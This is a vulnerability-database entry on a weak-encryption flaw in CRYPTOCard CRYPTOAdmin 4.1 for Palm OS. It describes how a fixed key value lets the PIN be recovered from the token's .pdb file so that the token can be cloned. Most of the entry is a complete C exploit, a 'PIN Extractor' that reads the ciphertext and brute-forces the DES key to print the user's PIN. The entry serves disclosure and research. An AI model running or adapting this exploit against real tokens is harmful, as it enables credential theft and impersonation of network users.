CRYPTOCard CRYPTOAdmin 4.1 Weak Encryption Vulnerability (1)

2014-07-01T00:00:00
ID SSV:73749
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                source: http://www.securityfocus.com/bid/1097/info

CRYPTOCard CRYPTOAdmin is a network authentication application for use with the Palm OS platform. CRYPTOAdmin generates a .pdb file which contains the username, PIN number, serial number, and key in encrypted or plaintext format. The PIN number can be retrieved due to the software's usage of a fixed 4-byte value in key generation. With access to the .pdb file and PIN number, a user is capable of duplicating the token onto another Palm device effectively gaining access to the network as the compromised user. 

#include<stdio.h>
#include<des.h>

int main(int argc, char **argv)
{
        des_cblock in,out,key,valid = {0x63, 0x6A, 0x2A, 0x3F, 
                                     0x25, 0x6D, 0x67, 0x6C};
        des_key_schedule sched;
        unsigned long massaged;
        FILE *pdb;
                 
        if (argc == 1)
        {
                fprintf(stdout, "\nUsage: %s <.PDB filename>\n\n", argv[0]);
        return 1;
        }       

        fprintf(stdout, "\nCRYPTOCard PT-1 PIN Extractor\n");
        fprintf(stdout, "kingpin@atstake.com\n");
        fprintf(stdout, "@Stake L0pht Research Labs\n");
        fprintf(stdout, "http://www.atstake.com\n\n");
        
        if((pdb = fopen(argv[1], "rb")) == NULL)
        {
                fprintf(stderr, "Missing input file %s.\n\n", argv[1]);
                return 1;
        }
        
        fseek(pdb, 189L, SEEK_SET);
        if (fread(in, 1, 8, pdb) != 8)
        {
                fprintf(stderr, "Error getting ciphertext string.\n\n");
                return 1;
        }
        
        fclose(pdb);
                
        key[4] = 0x24;
        key[5] = 0x7E;
        key[6] = 0x3E;
        key[7] = 0x6C;

        for (massaged = 0; massaged < 900000000; massaged += 9)
        {
                key[0]=(massaged>>24) & 0xff;
                key[1]=(massaged>>16) & 0xff;
                key[2]=(massaged>>8) & 0xff;
                key[3]=(massaged) & 0xff;

                des_set_key(&key,sched);
                des_ecb_encrypt(&in,&out,sched,DES_DECRYPT);
        
                if (memcmp(out, valid, 8) == 0)
                {
                        fprintf(stdout, "\n\nPIN: %d", massaged/9);
                break;
                }

                if ((massaged % 900000) == 0)
                {
                fprintf(stdout, "#");
                fflush(stdout);
                }
        }

        fprintf(stdout, "\n\n");
        return 0;
}